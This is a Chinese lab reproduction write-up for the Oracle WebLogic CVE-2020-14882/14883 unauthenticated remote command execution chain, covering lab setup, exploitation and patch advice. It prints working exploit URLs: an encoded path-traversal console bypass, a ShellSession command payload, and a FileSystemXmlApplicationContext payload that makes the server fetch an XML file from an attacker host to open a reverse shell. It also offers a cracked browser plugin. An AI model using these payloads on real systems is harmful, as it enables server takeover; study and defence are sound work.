目录
一、漏洞信息
二、环境搭建
1.在win10上自建Weblogic靶场:
2.使用vulhub提供的镜像容器进行靶场搭建:
三、复现过程
1.在自建靶场中唤起目标机的计算器程序
2.使用vulhub测试并反弹shell:
四、修复建议
漏洞名称 | WEBLOGIC 管理控制台未授权远程命令执行漏洞 |
---|---|
漏洞编号 | CVE-2020-14882/CVE-2020-14883 |
危害等级 | 严重 |
CVSS评分 | 9.8 |
漏洞厂商 | Oracle |
受影响版本 | WebLogic:10.3.6.0.0;12.1.3.0.0;12.2.1.3.0;12.2.1.4.0;14.1.1.0.0 |
漏洞概述 | Weblogic是Oracle公司推出的J2EE应用服务器。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在WebLogic Server Console 执行任意代码。 |
1.1准备安装包:
链接:https://pan.baidu.com/s/1Ipfs6tWiRWcgawFOqJ2Now
提取码:o703
(ps:网盘资源包括jdk1.8、weblogic12.2.1.4、hackbar破解版)
WebLogic12.2.1.4.0、Java(jdk1.8.191)
1.2配置java环境:
计算机右键属性->高级系统设置->环境变量->系统变量->新建变量
JAVA_HOME C:\Java\jdk1.8.0_191
选择Path变量添加 ;%JAVA_HOME%\bin;
配置检查是否成功:
1.3安装Weblogic:以管理员身份运行cmd,使用jar命令启动安装程序:
java -jar fmw_12.2.1.4.0_wls.jar
(ps:若无法正常安装,可以将jar包移动至jdk的bin目录下,再次使用命令安装)
1.4安装默认下一步,安装类型选择“示例的完整安装“,检查完先决条件无误后,点击下一步并安装。
(ps:在安装进度部分先点下一步,别直接点完成)
1.5点击完成后自动跳出配置向导,设置账户口令->创建:
1.6最后在配置成功界面勾选启动域:
1.7在攻击机kali(192.168.92.139)上可成功访问Weblogic服务页面:
1.8在火狐上安装hackbar插件:
(ps:目前hackbar收费了,我提供的网盘文件里有破解版,安装方法也在破解包里)
至此自建靶场完成。
2.1docker-compose up -d #启动靶场环境
2.2访问http://your-ip:7001/console/可成功进入登录界面:
1.1访问http://your-ip:7001后点击start the Administrator Console进入登录界面:
1.2 尝试利用com.tangosol.coherence.mvel2.sh.ShellSession类,F12打开hackbar工具,将构建好的payload与cookies输入,点击execute执行:
(ps:嫌麻烦,不设置cookies也行)
1.3执行成功,可以通过未授权访问到管理后台界面:
1.4同时目标机上成功唤起计算器程序:
2.1测试未授权访问,输入以下url,可以成功访问到未授权管理界面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
2.2利用com.tangosol.coherence.mvel2.sh.ShellSession类,在服务器端创建success1:
http://192.168.92.134:7001/console/css/%252e%252e%252fconsole.portal?nfpb=true&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');"))
查看容器:
2.3构建反弹shell的xml文件,并将文件上传到可访问的kali上:
2.4在攻击机kali上开启nc监听与http服务:
2.5利用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类让服务器访问攻击机的xml文件:
http://192.168.92.134:7001/console/css/%252e%252e%252fconsole.portal?nfpb=true&pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.92.130:8000/shell.xml")
成功反弹shell
目前 Oracle 官方已发布了最新针对该漏洞的补丁,请及时下载补丁程序并安装更新。
临时修补建议:暂时对外关闭后台 /console/console.portal 的访问权限。